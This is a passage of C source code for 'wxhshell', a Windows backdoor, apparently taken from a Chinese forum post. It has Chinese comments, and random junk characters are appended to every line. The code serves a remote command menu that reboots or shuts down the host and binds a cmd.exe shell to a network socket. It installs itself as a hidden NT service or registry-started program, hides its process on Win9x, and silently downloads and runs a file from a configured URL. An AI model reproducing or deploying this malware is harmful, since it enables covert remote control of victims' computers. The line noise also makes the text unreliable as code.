    switch(cmd[0]) { njputEGX  
  eS~LF.^Jw  
  // 帮助 ?`PvL!'  
  case '?': { ui/a|Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5:KQg  
    break; 'F9jq  
  } Pu"P9  
  // 安装 zd >t-?g  
  case 'i': {  &7K?w~  
    if(Install()) T7hcnF$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?gt l)q  
    else *^VRGfpb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \D*KGd]M0  
    break; V<T9&8l+:  
    } D=-SO +  
  // 卸载 v0H@Eg_  
  case 'r': { ]QlwR'&j/n  
    if(Uninstall()) ]H+8rY%+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %z,m B$LY  
    else `xqr{lhL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !ug8SAOaz/  
    break; o<pf#tifv  
    } :&V h?  
  // 显示 wxhshell 所在路径 "hH.#5j  
  case 'p': { /rnu<Q#iH  
    char svExeFile[MAX_PATH]; j i7[nY  
    strcpy(svExeFile,"\n\r"); ix)M`F%P3  
      strcat(svExeFile,ExeFile); s@K4u^$A  
        send(wsh,svExeFile,strlen(svExeFile),0); Ch <[l8;K  
    break; w"-Lc4t+  
    } b*c*r dTx  
  // 重启 #P0&ewy  
  case 'b': { Krqtf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +0nJ  
    if(Boot(REBOOT)) Y 5- F@(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iT gt}]L  
    else { \fz<.l]  
    closesocket(wsh); 0"  
    ExitThread(0); s(/; U2"e  
    } )rn*iJ.e8  
    break; 7&jTtKLj  
    } n|9-KTe7|*  
  // 关机 5YE'L.  
  case 'd': { -#u=\8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z>:NPZODf  
    if(Boot(SHUTDOWN)) e>+i>/Fn{h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `ZYoA t]C~  
    else { s >7}zU]  
    closesocket(wsh); gmw|H?]  
    ExitThread(0); ]%@M>?Ywc  
    } S"NqM[W  
    break; Yvw(t j5_5  
    } J\twZ>w~0  
  // 获取shell y" RF;KW>  
  case 's': { ;K:zmH  
    CmdShell(wsh); "l3_=Gua  
    closesocket(wsh); /?5 1D@  
    ExitThread(0); ^}/PGG\~r  
    break; il4^zj82  
  } }~e8e   
  // 退出 \A 2r]  
  case 'x': { #+Ir>GU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6m* QX+  
    CloseIt(wsh); y-'$(x  
    break; ey7 f9  
    } w'Y7IlC  
  // 离开 \)#kquH/l  
  case 'q': { P+@/O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5sj4;w[  
    closesocket(wsh); I0D(F i  
    WSACleanup(); ak$f"py x  
    exit(1); 8]M;T>n[  
    break; aH)}/n  
        } V#2+"(7h  
  } #xsE3Wj-X  
  } o[Q MTP  
<=zQ NBtx  
  // 提示信息 EH+"~-v)ae  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ! `   
} W,V:R  
  } 1gL2ia  
hgYZOwQ  
  return; &N2N6&Ta/  
} W#9BNKL  
PCHu #5j_a  
// shell模块句柄 l+xX/A)  
int CmdShell(SOCKET sock) Si2k"<5 U  
{ kj#?whK6~  
STARTUPINFO si; (5$!MUS~9  
ZeroMemory(&si,sizeof(si)); [%"|G9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \(?rQg@U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x|/|jzJSX  
PROCESS_INFORMATION ProcessInfo; h]IxXP?h[  
char cmdline[]="cmd"; zqimR#u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k3lS8d7  
  return 0; LM:vsG  
} ?ZV/U!y  
=Gpylj7?~  
// 自身启动模式 MK%9:wZ  
int StartFromService(void) RuL i,'u  
{ R/~p>apg8  
typedef struct f(>p=%=O  
{ [<lHCQXJ/  
  DWORD ExitStatus; ;5]Lf$tZ  
  DWORD PebBaseAddress; ,`'Qi%O  
  DWORD AffinityMask; B~1 _28\  
  DWORD BasePriority; [+rfAW>p}  
  ULONG UniqueProcessId; 7x"R3  
  ULONG InheritedFromUniqueProcessId; z Xg3[orF  
}   PROCESS_BASIC_INFORMATION; \r/rBa\  
VQc_|z_ s  
PROCNTQSIP NtQueryInformationProcess; k|e7a2Wwt  
g;H=6JeG/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JrJo|0Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K^ vIUZ>  
hE-h`'ha`  
  HANDLE             hProcess; %|s; C  
  PROCESS_BASIC_INFORMATION pbi; HZ aV7dOZ8  
l.q&D< _  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ot4 Z{mA  
  if(NULL == hInst ) return 0; S3q&rqarC%  
UFXaEl}R   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OV1_|##LC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Eq%}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5dx$HE&b)  
I:=S 0&%)  
  if (!NtQueryInformationProcess) return 0; J?*1*h  
Tr_w]'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zd3S:),&  
  if(!hProcess) return 0; 7o7)0l9!  
@CpfP;*{w`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =mO vs  
vk}n,ecl  
  CloseHandle(hProcess); 2":pE U{E  
hCi60%g/n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dH;8mb|#'  
if(hProcess==NULL) return 0; Ow+GS{-q  
tZ]?^_Y1  
HMODULE hMod; !44/sr'  
char procName[255]; n4O]8C'lW9  
unsigned long cbNeeded; ,kyJAju>  
t;|@o\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fW{(lPx  
AiwOc+R  
  CloseHandle(hProcess); qEyyT[:  
YX!{P=Ua  
if(strstr(procName,"services")) return 1; // 以服务启动 NpE*fR')  
V><,UI=,n  
  return 0; // 注册表启动 Mer/G2#&  
} ?qmRbDI  
jte.Xy~g  
// 主模块 {JO^ tI  
int StartWxhshell(LPSTR lpCmdLine) &yct!YOB2  
{ *^\Ef4Lh  
  SOCKET wsl; `68@+|#  
BOOL val=TRUE; oK9( /v  
  int port=0; :,3C 0T3r  
  struct sockaddr_in door; 3$jT*OyG#  
)cW#Rwu_A4  
  if(wscfg.ws_autoins) Install(); xzdf^Ce  
G'nmllB`]  
port=atoi(lpCmdLine); _mj,u64  
z{8bvuE  
if(port<=0) port=wscfg.ws_port; kI,yU}<Fq  
)Oq|amvC  
  WSADATA data; R8Wr^s>'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U#0Q)  
lXx=But  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EB0TTJR?#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OsTc5K.U~  
  door.sin_family = AF_INET; g1;:KzVv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M=8.Bp|Ye  
  door.sin_port = htons(port); v3*_9e  
X@--m6-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t*=CZE-  
closesocket(wsl); .H escg/S  
return 1; 2% MC Yn  
} %p Ynnfr  
R#s )r  
  if(listen(wsl,2) == INVALID_SOCKET) { P:hBt\5B  
closesocket(wsl); *2ZjE!A  
return 1; %Si6]3-^@  
} Yc`o5Q\>  
  Wxhshell(wsl); 59 h]UX=  
  WSACleanup(); i"1Mfz~e  
-m\u  
return 0; raW>xOivR  
J9..P&c\  
} nxO"ua  
kPKB|kP\  
// 以NT服务方式启动 Je';9(ZK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %gInje  
{ hE &xE;  
DWORD   status = 0; !-g{[19\  
  DWORD   specificError = 0xfffffff; O24m;oHM  
q?Cnav`DY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H!@kO]?n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rExnxQ<e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AKY1o.>z  
  serviceStatus.dwWin32ExitCode     = 0; "0$a)4]  
  serviceStatus.dwServiceSpecificExitCode = 0; @tF\p  
  serviceStatus.dwCheckPoint       = 0; d}Xr}  
  serviceStatus.dwWaitHint       = 0; Av$]|b  
OP;v bZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b k~( ^!R  
  if (hServiceStatusHandle==0) return; +*\u :n  
|e=,oV"  
status = GetLastError(); c\/=iVw,  
  if (status!=NO_ERROR) ^Xz@`_I  
{ -Sq z5lo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N' F77 .  
    serviceStatus.dwCheckPoint       = 0; n"$jG:A QJ  
    serviceStatus.dwWaitHint       = 0; C2.HMgL  
    serviceStatus.dwWin32ExitCode     = status; :Oy%a'w   
    serviceStatus.dwServiceSpecificExitCode = specificError; &C:IX\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oxr#7Ei0d  
    return; 'Oxy$U   
  } "H2EL}3/]  
&`h{i K7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )"qa kT  
  serviceStatus.dwCheckPoint       = 0; n#mA/H;wV  
  serviceStatus.dwWaitHint       = 0; X enE^e+9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .Q<>-3\K  
} 0`Kj 25  
md+nj{Ib  
// 处理NT服务事件,比如:启动、停止 SP@ >vl+;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -6Z\qxKqZ  
{ bkRLC_/d  
switch(fdwControl) 8bxfj<O,  
{ L]yS[UN$  
case SERVICE_CONTROL_STOP: _,kj:R.  
  serviceStatus.dwWin32ExitCode = 0; N>Xo_-QCY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x;w6na  
  serviceStatus.dwCheckPoint   = 0; ^0Zf,40  
  serviceStatus.dwWaitHint     = 0; W,D4.w$@'  
  { a,Sw4yJ!Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W'els)WJ|x  
  } u\a#{G;Z  
  return; ?xA:@:l/  
case SERVICE_CONTROL_PAUSE: Mc@e0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oL-]3TY~  
  break; ,y1PbA0m  
case SERVICE_CONTROL_CONTINUE: 1f%1*L0>@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [2>yYr s_=  
  break; zy?.u.4L  
case SERVICE_CONTROL_INTERROGATE: "33Fv9C#bK  
  break; C,wL0Yj[  
}; o\BOL3H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 90Pl$#cb2  
} dA#Q}.*r  
3^IpE];+:u  
// 标准应用程序主函数 <5d ~P/,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y)1PB+  
{ 2iHUZzz\  
,NOsFO-`<  
// 获取操作系统版本 Hfv7LM  
OsIsNt=GetOsVer(); Yf:IKY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9 eR-  
w2 ;eh]k  
  // 从命令行安装 ?:pP8/y  
  if(strpbrk(lpCmdLine,"iI")) Install(); l~1Oef#y  
d+<G1w&z  
  // 下载执行文件 Ut*`:]la  
if(wscfg.ws_downexe) { ICpAt~3[M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S3F;(PDzy  
  WinExec(wscfg.ws_filenam,SW_HIDE); x%s-+&  
} fA&k`L(y  
%]F d[pzF  
if(!OsIsNt) { hmvfw:Nq4  
// 如果时win9x,隐藏进程并且设置为注册表启动 \}+_Fo/  
HideProc(); -] L6=  
StartWxhshell(lpCmdLine); :C7_Jp*Qv  
} f6EZ( v  
else B%" d~5Y  
  if(StartFromService()) Bu#E9hJFvA  
  // 以服务方式启动 T m,b,hi$  
  StartServiceCtrlDispatcher(DispatchTable); @>u]4Jn  
else 8N!b>??  
  // 普通方式启动 =w;F<M|Y  
  StartWxhshell(lpCmdLine); [V^WGW2oY  
C`K?7v3$m  
return 0; 9l|@v=gw.  
}
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只看该作者 1 发表于: 2006-10-10
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